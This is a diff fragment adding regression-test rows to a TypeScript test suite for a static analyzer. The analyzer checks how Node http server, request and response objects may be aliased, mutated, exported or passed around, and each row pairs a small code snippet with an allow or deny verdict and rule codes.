+ deny('local function propagation', 'let-bound callee', `${NS}\nlet f = (res: unknown) => { res; };\nhttp.createServer((request, response) => { f(response); });`, ['RESPONSE_ESCAPE']),
+ deny('local function propagation', 'IIFE callee', inListener(`((r: http.IncomingMessage) => r.socket)(request);`), ['REQUEST_ESCAPE']),
+ deny('local function propagation', 'optional call', `${NS}\nfunction f(res: unknown) { res; }\nhttp.createServer((request, response) => { f?.(response); });`, ['RESPONSE_ESCAPE']),
+ deny('local function propagation', 'class method callee', `${NS}\nclass H { run(r: unknown) { return r; } }\nhttp.createServer((request, response) => { new H().run(response); });`, ['RESPONSE_ESCAPE']),
+ deny('local function propagation', 'new argument', inListener(`class Box { constructor(public v: unknown) {} }\nnew Box(response);`), ['RESPONSE_ESCAPE']),
+ deny(
+ 'local function propagation',
+ 'callee returns the request',
+ `${NS}\nfunction f(req: http.IncomingMessage) { return req; }\nhttp.createServer((request, response) => { f(request); });`,
+ ['REQUEST_UNCONFINED_RETURN'],
+ ),
+ deny(
+ 'local function propagation',
+ 'spread precedes the privileged argument',
+ `${NS}\nfunction f(a: unknown, res: unknown) { a; res; }\nhttp.createServer((request, response) => { f(...[1], response); });`,
+ ['RESPONSE_ESCAPE'],
+ ),
+];
+
+// ---------------------------------------------------------------------------
+// 9. callee immutability
+// ---------------------------------------------------------------------------
+
+const IMMUTABILITY: readonly RegressionRow[] = [
+ deny(
+ 'callee immutability',
+ 'reassigned FunctionDeclaration callee',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n(f as any) = (r: any) => r.socket.write('x');\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_ESCAPE'],
+ { closes: ['F-4'] },
+ ),
+ deny(
+ 'callee immutability',
+ 'destructuring-assigned FunctionDeclaration callee',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n[(f as any)] = [null];\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_ESCAPE'],
+ { closes: ['F-4'] },
+ ),
+ deny(
+ 'callee immutability',
+ 'shorthand destructuring-assigned FunctionDeclaration callee',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n({ f } = { f: null } as any);\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_ESCAPE'],
+ { closes: ['F-4', 'F-3'] },
+ ),
+ deny(
+ 'callee immutability',
+ 'for-of assigned FunctionDeclaration callee',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nfor (f as any of [null]) {}\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_ESCAPE'],
+ { closes: ['F-4'] },
+ ),
+ deny(
+ 'callee immutability',
+ 'compound-assigned FunctionDeclaration callee',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n(f as any) += 1;\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_ESCAPE'],
+ { closes: ['F-4'] },
+ ),
+ deny(
+ 'callee immutability',
+ 'updated FunctionDeclaration callee',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n(f as any)++;\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_ESCAPE'],
+ { closes: ['F-4'] },
+ ),
+ deny(
+ 'callee immutability',
+ 'duplicate FunctionDeclaration is not unique',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nfunction f(res: http.ServerResponse) { res.socket; }\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_ESCAPE'],
+ { closes: ['F-4'] },
+ ),
+ deny(
+ 'callee immutability',
+ 'reassigned listener FunctionDeclaration',
+ `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(); }\n(handle as any) = null;\nhttp.createServer(handle);`,
+ ['LISTENER_NOT_FUNCTION'],
+ { closes: ['F-4'] },
+ ),
+ deny(
+ 'callee immutability',
+ 'reassigned factory FunctionDeclaration',
+ `${NS}\nfunction make() { return http.createServer(${L}); }\n(make as any) = null;\nconst server = make();`,
+ ['SERVER_UNCONFINED_RETURN'],
+ { closes: ['F-4', 'F-6'] },
+ ),
+ allow(
+ 'callee immutability',
+ 'read-only aliasing of the callee leaves it immutable',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nconst g = f;\nhttp.createServer((request, response) => { f(response); });`,
+ ),
+ allow(
+ 'callee immutability',
+ 'callee written only as a property key elsewhere',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nconst o = { f: 1 };\no.f = 2;\nhttp.createServer((request, response) => { f(response); });`,
+ ),
+];
+
+// ---------------------------------------------------------------------------
+// 10. mutation/reflection
+// ---------------------------------------------------------------------------
+
+const MUTATION: readonly RegressionRow[] = [
+ deny('mutation/reflection', 'Object.defineProperty on response', inListener(`Object.defineProperty(response, 'x', { value: 1 });`), ['RESPONSE_ESCAPE']),
+ deny('mutation/reflection', 'Reflect.get on request', inListener(`Reflect.get(request, 'socket');`), ['REQUEST_ESCAPE']),
+ deny('mutation/reflection', 'Object.assign on server', withServer(`Object.assign(server, {});`), ['SERVER_ESCAPE']),
+ deny('mutation/reflection', 'Object.getPrototypeOf on response', inListener(`Object.getPrototypeOf(response);`), ['RESPONSE_ESCAPE']),
+ deny('mutation/reflection', 'Object.setPrototypeOf on server', withServer(`Object.setPrototypeOf(server, null);`), ['SERVER_ESCAPE']),
+ deny('mutation/reflection', 'Reflect.get on globalThis', `Reflect.get(globalThis, 'fetch');`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('mutation/reflection', 'delete response.statusCode', inListener(`delete (response as any).statusCode;`), ['RESPONSE_MEMBER']),
+ deny('mutation/reflection', 'response.end overwritten', inListener(`(response as any).end = () => {};`), ['RESPONSE_MEMBER']),
+ deny('mutation/reflection', 'server.listen overwritten', withServer(`(server as any).listen = () => {};`), ['SERVER_MEMBER']),
+ deny('mutation/reflection', 'request.url written', inListener(`request.url = '/x';`), ['REQUEST_MEMBER']),
+ deny('mutation/reflection', 'request.method compound write', inListener(`(request as any).method += 'X';`), ['REQUEST_MEMBER']),
+ deny('mutation/reflection', 'response.statusCode incremented', inListener(`response.statusCode++;`), ['RESPONSE_MEMBER']),
+ deny('mutation/reflection', 'response.statusCode non-literal assignment', inListener(`declare const code: number;\nresponse.statusCode = code;`), ['RESPONSE_MEMBER']),
+ deny('mutation/reflection', 'response.statusCode arithmetic assignment', inListener(`response.statusCode = 200 + 4;`), ['RESPONSE_MEMBER']),
+ deny('mutation/reflection', 'response.setHeader.call', inListener(`response.setHeader.call(response, 'a', 'b');`), ['RESPONSE_MEMBER', 'RESPONSE_ESCAPE']),
+ deny('mutation/reflection', 'request destructured as write target', inListener(`[request.url] = ['/x'];`), ['REQUEST_MEMBER']),
+ deny('mutation/reflection', 'for-in over request', inListener(`for (const k in request) { k; }`), ['REQUEST_ESCAPE']),
+ deny('mutation/reflection', 'for-of assignment to server binding', withServer(`for (server as any of []) {}`), ['SERVER_MUTABLE_BINDING']),
+ deny('mutation/reflection', 'server reassigned', withServer(`(server as any) = null;`), ['SERVER_MUTABLE_BINDING']),
+ deny('mutation/reflection', 'propagated server parameter reassigned', withServer(`function setup(s: http.Server) { (s as any) = null; }
+setup(server);`), ['SERVER_WRITE']),
+ deny('mutation/reflection', 'response reassigned', inListener(`response = null as any;`), ['RESPONSE_WRITE']),
+ deny('mutation/reflection', 'ThisExpression anywhere', `${NS}\nfunction f() { return this; }`, ['THIS_EXPRESSION']),
+ deny('mutation/reflection', 'arguments anywhere', `${NS}\nfunction f() { return arguments[0]; }`, ['ARGUMENTS_USE']),
+ deny('mutation/reflection', 'arguments forwarded from listener', inListener(`use(arguments);`), ['ARGUMENTS_USE']),
+ allow('mutation/reflection', 'unrelated reflection', `Object.freeze({ a: 1 });\nReflect.ownKeys({});`),
+ allow('mutation/reflection', 'statusCode numeric literal with wrapper', inListener(`response.statusCode = (200 as number);`)),
+ allow('mutation/reflection', 'this in a type position and arguments as a property key', `${NS}\nfunction f(this: void): this is void { return true; }\nconst o = { arguments: 1 };\no.arguments;`),
+];
+
+// ---------------------------------------------------------------------------
+// 11. createServer listener boundary
+// ---------------------------------------------------------------------------
+
+const LISTENER_BOUNDARY: readonly RegressionRow[] = [
+ deny('createServer listener boundary', 'zero arguments', `${NS}\nhttp.createServer();`, ['CREATE_SERVER_ARITY']),
+ deny('createServer listener boundary', 'two listener arguments', `${NS}\nhttp.createServer(${L}, ${L});`, ['CREATE_SERVER_ARITY']),
+ deny('createServer listener boundary', 'new http.createServer', `${NS}\nnew http.createServer(${L});`, ['CREATE_SERVER_NEW']),
+ deny('createServer listener boundary', 'new createServer', `${NAMED}\nnew createServer(${L_PLAIN});`, ['CREATE_SERVER_NEW']),
+ deny('createServer listener boundary', 'let-bound listener', `${NS}\nlet handler = ${L};\nhttp.createServer(handler);`, ['LISTENER_NOT_FUNCTION']),
+ deny('createServer listener boundary', 'imported listener', `${NS}\nimport { handler } from './h.js';\nhttp.createServer(handler);`, ['LISTENER_NOT_FUNCTION']),
+ deny('createServer listener boundary', 'object listener', `${NS}\nhttp.createServer({} as any);`, ['LISTENER_NOT_FUNCTION']),
+ deny('createServer listener boundary', 'conditional listener', `${NS}\nhttp.createServer(Math.random() > 0.5 ? ${L} : ${L});`, ['LISTENER_NOT_FUNCTION']),
+ deny('createServer listener boundary', 'spread listener', `${NS}\ndeclare const args: [any];\nhttp.createServer(...args);`, ['LISTENER_NOT_FUNCTION']),
+ deny('createServer listener boundary', 'class listener', `${NS}\nhttp.createServer(class {} as any);`, ['LISTENER_NOT_FUNCTION']),
+ deny('createServer listener boundary', 'call-result listener', `${NS}\ndeclare function make(): any;\nhttp.createServer(make());`, ['LISTENER_NOT_FUNCTION']),
+ deny('createServer listener boundary', 'written const listener spine', `${NS}\nconst handler = ${L};\n(handler as any) = null;\nhttp.createServer(handler);`, ['LISTENER_NOT_FUNCTION']),
+ deny('createServer listener boundary', 'cyclic listener spine', `${NS}\nconst a: any = b;\nconst b: any = a;\nhttp.createServer(a);`, ['LISTENER_NOT_FUNCTION']),
+ deny('createServer listener boundary', 'pattern at parameter 0', `${NS}\nhttp.createServer(({ url }, response) => { response.end(url); });`, ['LISTENER_PARAMETER_PATTERN']),
+ deny('createServer listener boundary', 'pattern at parameter 1', `${NS}\nhttp.createServer((request, { socket }) => { socket; });`, ['LISTENER_PARAMETER_PATTERN']),
+ deny('createServer listener boundary', 'rest at parameter 0', `${NS}\nhttp.createServer((...args: any[]) => { args[1].socket; });`, ['LISTENER_PARAMETER_PATTERN']),
+ deny('createServer listener boundary', 'rest at parameter 1', `${NS}\nhttp.createServer((request, ...rest: any[]) => { rest[0].socket; });`, ['LISTENER_PARAMETER_PATTERN']),
+ deny('createServer listener boundary', 'this parameter listener', `${NS}\nhttp.createServer(function (this: unknown, request, response) { response.end(); });`, ['LISTENER_THIS_PARAMETER']),
+ deny('createServer listener boundary', 'optional-chained namespace call', `${NS}\nhttp?.createServer(${L});`, ['CREATE_SERVER_NOT_CALLED']),
+ deny('createServer listener boundary', 'optional-chained createServer call', `${NS}\nhttp.createServer?.(${L});`, ['CREATE_SERVER_NOT_CALLED']),
+ deny('createServer listener boundary', 'tagged template createServer', `${NS}\nhttp.createServer\`x\`;`, ['CREATE_SERVER_NOT_CALLED']),
+ deny('createServer listener boundary', 'optional-chained named createServer', `${NAMED}\ncreateServer?.(${L_PLAIN});`, ['CREATE_SERVER_ESCAPE']),
+ allow('createServer listener boundary', 'arrow listener', `${NS}\nhttp.createServer(${L});`),
+ allow('createServer listener boundary', 'async arrow listener', `${NS}\nhttp.createServer(async (request, response) => { response.end(); });`),
+ allow('createServer listener boundary', 'anonymous function expression listener', `${NS}\nhttp.createServer(function (request, response) { response.end(); });`),
+ allow('createServer listener boundary', 'named function expression listener', `${NS}\nhttp.createServer(function handler(request, response) { response.end(); });`),
+ allow('createServer listener boundary', 'unique FunctionDeclaration listener', `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(request.url); }\nhttp.createServer(handle);`),
+ allow('createServer listener boundary', 'hoisted FunctionDeclaration listener', `${NS}\nhttp.createServer(handle);\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(); }`),
+ allow('createServer listener boundary', 'const listener spine', `${NS}\nconst h1 = ${L};\nconst h2 = h1;\nhttp.createServer(h2);`),
+ allow('createServer listener boundary', 'wrapped listener', `${NS}\nhttp.createServer((${L}) as any);`),
+ allow('createServer listener boundary', 'wrapped callee', `${NS}\n(http.createServer)(${L});`),
+ allow('createServer listener boundary', 'zero-parameter listener', `${NS}\nhttp.createServer(() => {});`),
+ allow('createServer listener boundary', 'one-parameter listener', `${NS}\nhttp.createServer((request) => { request.url; });`),
+ allow('createServer listener boundary', 'pattern at parameter 2 is unconstrained', `${NS}\nhttp.createServer((request, response, { extra }: any) => { response.end(extra); });`),
+ allow('createServer listener boundary', 'exported const listener', `${NS}\nexport const handler = ${L};\nhttp.createServer(handler);`),
+];
+
+// ---------------------------------------------------------------------------
+// 12. options argument DENY
+// ---------------------------------------------------------------------------
+
+const OPTIONS: readonly RegressionRow[] = [
+ deny('options argument DENY', 'empty options object', `${NS}\nhttp.createServer({}, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }),
+ deny('options argument DENY', 'IncomingMessage override option', `${NS}\nclass Evil {}\nhttp.createServer({ IncomingMessage: Evil }, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }),
+ deny('options argument DENY', 'ServerResponse override option', `${NS}\nclass Evil {}\nhttp.createServer({ ServerResponse: Evil }, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }),
+ deny('options argument DENY', 'shouldUpgradeCallback option', `${NS}\nhttp.createServer({ shouldUpgradeCallback: () => true }, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }),
+ deny('options argument DENY', 'options through a const', `${NS}\nconst opts = { keepAlive: true };\nhttp.createServer(opts, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }),
+ deny('options argument DENY', 'undefined options placeholder', `${NS}\nhttp.createServer(undefined, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }),
+ deny('options argument DENY', 'options only', `${NS}\nhttp.createServer({ keepAlive: true } as any);`, ['LISTENER_NOT_FUNCTION'], { closes: ['F-5'] }),
+ deny('options argument DENY', 'options with named createServer', `${NAMED}\ncreateServer({ keepAlive: true }, ${L_PLAIN});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }),
+ deny('options argument DENY', 'options in factory return', `${NS}\nexport function make() { return http.createServer({}, ${L}); }`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }),
+ deny('options argument DENY', 'listener then options', `${NS}\nhttp.createServer(${L}, {});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }),
+];
+
+// ---------------------------------------------------------------------------
+// 13. factory confinement
+// ---------------------------------------------------------------------------
+
+const FACTORY: readonly RegressionRow[] = [
+ allow('factory confinement', 'real exported factory and const consumer', withFactory(`const server = createCockpitServer();\nserver.listen(1);`)),
+ allow('factory confinement', 'const arrow factory', `${NS}\nconst make = () => http.createServer(${L});\nconst server = make();\nserver.listen(1);`),
+ allow('factory confinement', 'const function-expression factory', `${NS}\nconst make = function () { return http.createServer(${L}); };\nmake().listen(1);`),
+ allow('factory confinement', 'factory returning another factory', withFactory(`function outer() { return createCockpitServer(); }\nouter().listen(1);`)),
+ allow('factory confinement', 'factory returning a rooted const alias', withServer(`function get() { return server; }\nget().close();`)),
+ allow('factory confinement', 'multiple SERVER returns', `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return http.createServer(${L}); }\nmake(true).listen(1);`),
+ allow('factory confinement', 'export default function factory', `${NS}\nexport default function make() { return http.createServer(${L}); }\nmake().listen(1);`),
+ allow('factory confinement', 'factory exported by specifier', `${NS}\nfunction make() { return http.createServer(${L}); }\nexport { make };`),
+ allow('factory confinement', 'factory referenced by typeof', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst t = typeof make;\nt;`),
+ allow('factory confinement', 'factory with parameters', `${NS}\nfunction make(port: number) { const s = http.createServer(${L}); s.listen(port); return s; }\nmake(1);`),
+ deny('factory confinement', 'mixed SERVER/non-SERVER returns', `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return null; }\nmake(true);`, ['SERVER_UNCONFINED_RETURN'], {
+ closes: ['F-6'],
+ }),
+ deny('factory confinement', 'IIFE factory', `${NS}\nconst server = (function () { return http.createServer(${L}); })();`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'class method factory', `${NS}\nclass Host { make() { return http.createServer(${L}); } }`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'object-held arrow factory', `${NS}\nconst host = { make: () => http.createServer(${L}) };`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'callback-returned server', `${NS}\n[1].map(() => http.createServer(${L}));`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory identity in array', `${NS}\nconst make = () => http.createServer(${L});\nconst fns = [make];`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory identity as argument', `${NS}\nfunction make() { return http.createServer(${L}); }\nuse(make);`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory identity aliased', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst m = make;`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory identity stored on an object', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst o = { make };`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory identity returned', `${NS}\nfunction make() { return http.createServer(${L}); }\nfunction pick() { return make; }`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory .call receiver', `${NS}\nfunction make() { return http.createServer(${L}); }\nmake.call(null);`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory .bind receiver', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst b = make.bind(null);`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'async factory', `${NS}\nasync function make() { return http.createServer(${L}); }`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'generator factory', `${NS}\nfunction* make() { return http.createServer(${L}); }`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'let-bound arrow factory', `${NS}\nlet make = () => http.createServer(${L});`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory returning its parameter', withServer(`function id(s: http.Server) { return s; }\nid(server);`), ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory returning a PARAM-derived alias', withServer(`function id(s: http.Server) { const t = s; return t; }\nid(server);`), ['SERVER_UNCONFINED_RETURN'], {
+ closes: ['F-6'],
+ }),
+ deny('factory confinement', 'factory returning a let alias', `${NS}\nfunction make() { let s = http.createServer(${L}); return s; }`, ['SERVER_MUTABLE_BINDING'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory returning a wrapped conditional', `${NS}\nfunction make(x: boolean) { return (x ? http.createServer(${L}) : http.createServer(${L})); }`, ['SERVER_ESCAPE'], {
+ closes: ['F-6'],
+ }),
+ deny('factory confinement', 'factory result non-allowed member', withFactory(`createCockpitServer().on('x', () => {});`), ['SERVER_MEMBER'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory result in container', withFactory(`const servers = [createCockpitServer()];`), ['SERVER_ESCAPE'], { closes: ['F-6'] }),
+ deny('factory confinement', 'factory result exported', withFactory(`export const server = createCockpitServer();`), ['SERVER_EXPORT'], { closes: ['F-6', 'F-7'] }),
+ deny('factory confinement', 'server-returning function with a this parameter', `${NS}\nfunction make(this: unknown) { return http.createServer(${L}); }`, ['SERVER_UNCONFINED_RETURN'], {
+ closes: ['F-6'],
+ }),
+];
+
+// ---------------------------------------------------------------------------
+// 14. result confinement
+// ---------------------------------------------------------------------------
+
+const RESULT: readonly RegressionRow[] = [
+ allow('result confinement', 'expression statement', `${NS}\nhttp.createServer(${L});`),
+ allow('result confinement', 'void operand', `${NS}\nvoid http.createServer(${L});`),
+ allow('result confinement', 'typeof operand', `${NS}\ntypeof http.createServer(${L});`),
+ allow('result confinement', 'direct listen', `${NS}\nhttp.createServer(${L}).listen(1);`),
+ allow('result confinement', 'direct close', `${NS}\nhttp.createServer(${L}).close();`),
+ allow('result confinement', 'confined const initializer', `${NS}\nconst server = http.createServer(${L});`),
+ allow('result confinement', 'confined factory return', `${NS}\nfunction make() { return http.createServer(${L}); }`),
+ allow('result confinement', 'approved propagation', `${NS}\nfunction setup(s: http.Server) { s.listen(1); }\nsetup(http.createServer(${L}));`),
+ deny('result confinement', 'let binding', `${NS}\nlet s = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']),
+ deny('result confinement', 'var binding', `${NS}\nvar s = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']),
+ deny('result confinement', 'array element', `${NS}\nconst a = [http.createServer(${L})];`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'object property', `${NS}\nconst o = { s: http.createServer(${L}) };`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'arbitrary call argument', `${NS}\nuse(http.createServer(${L}));`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'new argument', `${NS}\nclass Box { constructor(public v: unknown) {} }\nnew Box(http.createServer(${L}));`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'destructuring initializer', `${NS}\nconst { listen } = http.createServer(${L});`, ['SERVER_DESTRUCTURING']),
+ deny('result confinement', 'assignment', `${NS}\nlet s;\ns = http.createServer(${L});`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'conditional', `${NS}\nconst s = Math.random() > 0.5 ? http.createServer(${L}) : null;`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'comma', `${NS}\nconst s = (0, http.createServer(${L}));`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'await', `${NS}\nconst s = await http.createServer(${L});`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'template span', `${NS}\nconst t = \`\${http.createServer(${L})}\`;`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'class field initializer', `${NS}\nclass Host { s = http.createServer(${L}); }`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'direct default export', `${NS}\nexport default http.createServer(${L});`, ['SERVER_EXPORT']),
+ deny('result confinement', 'direct exported const', `${NS}\nexport const s = http.createServer(${L});`, ['SERVER_EXPORT']),
+ deny('result confinement', 'non-allowed member on result', `${NS}\nhttp.createServer(${L}).on('x', () => {});`, ['SERVER_MEMBER']),
+ deny('result confinement', 'member read without call on result', `${NS}\nconst l = http.createServer(${L}).listen;`, ['SERVER_MEMBER']),
+ deny('result confinement', 'optional-chained member on result', `${NS}\nhttp.createServer(${L})?.listen(1);`, ['SERVER_MEMBER']),
+ deny('result confinement', 'spread of result', `${NS}\nuse(...(http.createServer(${L}) as any));`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'result in a nullish expression', `${NS}\nconst s = http.createServer(${L}) ?? null;`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'result in an equality test', `${NS}\nif (http.createServer(${L}) === null) {}`, ['SERVER_ESCAPE']),
+ deny('result confinement', 'result as heritage expression', `${NS}\nclass Sub extends (http.createServer(${L}) as any) {}`, ['SERVER_ESCAPE']),
+];
+
+// ---------------------------------------------------------------------------
+// 15. export confinement
+// ---------------------------------------------------------------------------
+
+const EXPORT: readonly RegressionRow[] = [
+ deny('export confinement', 'export { server }', withServer(`export { server };`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ deny('export confinement', 'export { server as s }', withServer(`export { server as s };`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ deny('export confinement', 'export { server as default }', withServer(`export { server as default };`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ deny('export confinement', 'export default server', withServer(`export default server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ deny('export confinement', 'export const server = createServer(...)', `${NS}\nexport const server = http.createServer(${L});`, ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ deny('export confinement', 'export const server = factory()', withFactory(`export const server = createCockpitServer();`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ deny('export confinement', 'export default factory()', withFactory(`export default createCockpitServer();`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ deny('export confinement', 'export = server', withServer(`export = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ deny('export confinement', 'export of a const alias of server', withServer(`const alias = server;\nexport { alias };`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ deny('export confinement', 'exported const alias of server', withServer(`export const alias = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ allow('export confinement', 'export function factory', withFactory(``)),
+ allow('export confinement', 'export { factory }', `${NS}\nfunction createCockpitServer() { return http.createServer(${L}); }\nexport { createCockpitServer };`),
+ allow('export confinement', 'export default function factory', `${NS}\nexport default function createCockpitServer() { return http.createServer(${L}); }`),
+ allow('export confinement', 'export default factory identifier', `${NS}\nfunction createCockpitServer() { return http.createServer(${L}); }\nexport default createCockpitServer;`),
+ allow('export confinement', 'export of unrelated constants', withServer(`export const HOST = '127.0.0.1';\nexport const PORT = 4317;\nserver.listen(PORT, HOST);`)),
+ allow('export confinement', 'export type of server type', withServer(`export type CockpitServer = typeof server;`)),
+];
+
+// ---------------------------------------------------------------------------
+// 16. convergence/exhaustion
+// ---------------------------------------------------------------------------
+
+const FIXPOINT: readonly RegressionRow[] = [
+ allow('convergence/exhaustion', 'reverse propagation chain converges under the default ceiling', reverseChain(6)),
+ deny('convergence/exhaustion', 'reverse propagation chain exhausts a low ceiling', reverseChain(6), ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 2 } }),
+ deny('convergence/exhaustion', 'exhaustion denies even an otherwise-allowed real host shape', REAL_HOST_SHAPE, ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 1 } }),
+ allow('convergence/exhaustion', 'recursive alias/factory cycle converges', withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().listen(1);`)),
+ allow('convergence/exhaustion', 'empty file converges', ``),
+];
+
+// ---------------------------------------------------------------------------
+// 17. extra parameter false positives
+// ---------------------------------------------------------------------------
+
+const EXTRA_PARAMETERS: readonly RegressionRow[] = [
+ allow('extra parameter false positives', 'listener third parameter is unprivileged', `${NS}\nhttp.createServer((request, response, extra: any) => { extra.socket.write('x'); response.end(); });`, {
+ closes: ['F-1'],
+ }),
+ allow('extra parameter false positives', 'listener rest after index 1 is unprivileged', `${NS}\nhttp.createServer((request, response, ...rest: any[]) => { rest[0].socket; });`, { closes: ['F-1'] }),
+ allow('extra parameter false positives', 'FunctionDeclaration listener third parameter', `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse, next: any) { next.socket; response.end(); }\nhttp.createServer(handle);`, {
+ closes: ['F-1'],
+ }),
+ allow('extra parameter false positives', 'eligible callee parameter receiving a non-privileged argument', `${NS}\nfunction f(res: any) { res.socket; }\nhttp.createServer((request, response) => { f({}); response.end(); });`, {
+ closes: ['F-1'],
+ }),
+ allow('extra parameter false positives', 'same-named parameter in an unrelated function', `${NS}\nhttp.createServer(${L});\nfunction other(request: any, response: any) { request.socket; response.socket; }`, {
+ closes: ['F-1'],
+ }),
+ allow('extra parameter false positives', 'unusually named listener parameters', `${NS}\nhttp.createServer((a, b) => { a.url; b.end(); });`),
+ deny('extra parameter false positives', 'unusually named listener parameters still privileged', `${NS}\nhttp.createServer((a, b) => { a.socket; });`, ['REQUEST_MEMBER'], { closes: ['F-1'] }),
+ allow('extra parameter false positives', 'callee third parameter unprivileged even when first two are privileged', `${NS}\nfunction f(req: any, res: any, ctx: any) { ctx.socket; res.end(); }\nhttp.createServer((request, response) => { f(request, response, {}); });`, {
+ closes: ['F-1'],
+ }),
+];
+
+// ---------------------------------------------------------------------------
+// 18. real host acceptance
+// ---------------------------------------------------------------------------
+
+const REAL_HOST: readonly RegressionRow[] = [
+ allow('real host acceptance', 'inline replica of the Stage-A host', REAL_HOST_SHAPE),
+ allow('real host acceptance', 'type positions on the namespace', `${NS}\nfunction f(request: http.IncomingMessage, response: http.ServerResponse): http.Server | null { request; response; return null; }`),
+ allow('real host acceptance', 'request.method nullish fallback', inListener(`const method = request.method ?? '';\nif (method !== 'GET') { response.statusCode = 405; response.setHeader('Allow', 'GET'); response.end('405'); return; }`)),
+ allow('real host acceptance', 'request.url passed to a pure helper', inListener(`function pathOf(url: string) { return url; }\nconst path = pathOf(request.url ?? '');\nresponse.end(path);`)),
+ allow('real host acceptance', 'listen with host and port constants', withFactory(`const HOST = '127.0.0.1';\nconst PORT = 4317;\nfunction main() { const server = createCockpitServer(); server.listen(PORT, HOST, () => { console.log(HOST); }); }\nmain();`)),
+];
+
+// ---------------------------------------------------------------------------
+// Outside the declared boundary (documented, terminate-only)
+// ---------------------------------------------------------------------------
+
+const OUTSIDE_BOUNDARY: readonly RegressionRow[] = [
+ outside('factory confinement', 'cross-module consumption of a server factory', `import { createCockpitServer } from './server.js';\nconst s = createCockpitServer();\ns.on('x', () => {});`),
+ outside('export confinement', 'module-graph re-export of another module value', `export { server as s } from './other.js';`),
